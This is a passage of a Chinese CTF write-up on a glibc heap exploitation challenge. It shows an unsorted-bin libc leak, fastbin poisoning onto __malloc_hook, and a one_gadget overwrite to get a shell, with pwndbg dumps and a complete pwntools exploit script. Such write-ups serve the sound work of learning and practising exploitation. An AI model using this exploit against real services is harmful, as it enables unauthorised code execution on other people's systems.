libc基址与unsortedbin本身的地址的offest是不变的。为:

image-20230809210800630

3951480(十进制)== 0x3C4B78

还有另一种payloadd写法

1
2
3
main_arena = 0x3c4b20
libc_base = unsorted_main_arena - (main_arena + 88)
log.success("libc base addr: " + hex(libc_base))

在64位系统中unsorted_bin在main_arena+88的位置,32位为main_arena+48。

unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x88 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x88再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

2、控制__malloc_hook

2-1、申请unsortedbin中的堆块

1
alloc(0x60)

由于unsortedbin中有空闲的空间,因此申请空间之后会使用unsortedbin中的chunk。

看一下堆内存分布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(由unsortedbin分裂)
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(由unsortedbin分裂)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6(原index5)
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000000
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000000
0x555555757170: 0x0000000000000000 0x0000000000000000
0x555555757180: 0x0000000000000000 0x0000000000000000
0x555555757190: 0x0000000000000000 0x0000000000000000
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk

由于malloc(0x60),因为原unsortedbin中的chunk_size过大,因此unsortedbin中的chunk会利用并分裂成两个堆块,其中index5还是存放在unsortedbin中的:

image-20230809212850254

2-2、free(index4)

1
2
3
#index2_content指针还是指向index4_chunk_data
#为了之后index4的fd指针,因此可以先释放inddex4
free(4)

image-20230809213053785

2-3、修改index4的fd指针

1
2
3
4
5
#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(fastbin)
0x555555757090: 0x00007ffff7dd1aed 0x0000000000000000
#更改index4的fd指针
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(unsortedbin)
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 #index6
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000000
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000000
0x555555757170: 0x0000000000000000 0x0000000000000000
0x555555757180: 0x0000000000000000 0x0000000000000000
0x555555757190: 0x0000000000000000 0x0000000000000000
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk

image-20230809213758104

2-4、控制__malloc_hook

1
2
3
#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6 #获取index6指向hook地址
1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x00007ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d <main_arena+45>: 0x2ea0000000000000 0x0000000000fff7a9
0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000

2-5、写入one_gadget并getshell

image-20230809214941586

本机上的onegadget有多种的话,要都试一下,我的是0x4527a。

1
2
3
4
5
#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)

执行payload之前

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x00007ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d <main_arena+45>: 0x2ea0000000000000 0x0000000000fff7a9
0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000

执行payload之后

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x00007ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b0d <__realloc_hook+5>: 0xfff7a5227a000000 0x000000000000007f
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d <main_arena+45>: 0x2ea0000000000000 0x0000000000fff7a9
0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
1
2
3
4
#最后再申请一下触发one_gadget
alloc(255)

p.interactive()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./pwn1')
elf = ELF('./pwn1')

#首先是定义的一些函数,对应着程序的功能
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

#首先申请4个fast chunk和1个small chunk
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4

#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)
#gdb.attach(p)
#这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
#解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
#所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

#改好index4的大小之后去申请两次,这样就把原来的fastbins中的给申请出来了
alloc(0x10)
alloc(0x10)

#申请成功之后index2就指向index4
#为了让index4能够被放到unsortedbins中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
#gdb.attach(p)
#再申请一个防止index4与top chunk合并了
alloc(0x80)

#这时候free就会把index4放到unsorted中了
free(4)

#因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(文末有工具算)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))

#此时因为fastbins中没有了,所以从unsortedbins中找
alloc(0x60)

#index2还是指向index4那个地方我们可以先释放index4
free(4)

#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6

#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
#gdb.attach(p)
#再申请一下触发one_gadget
alloc(255)

p.interactive()

image-20230809215449496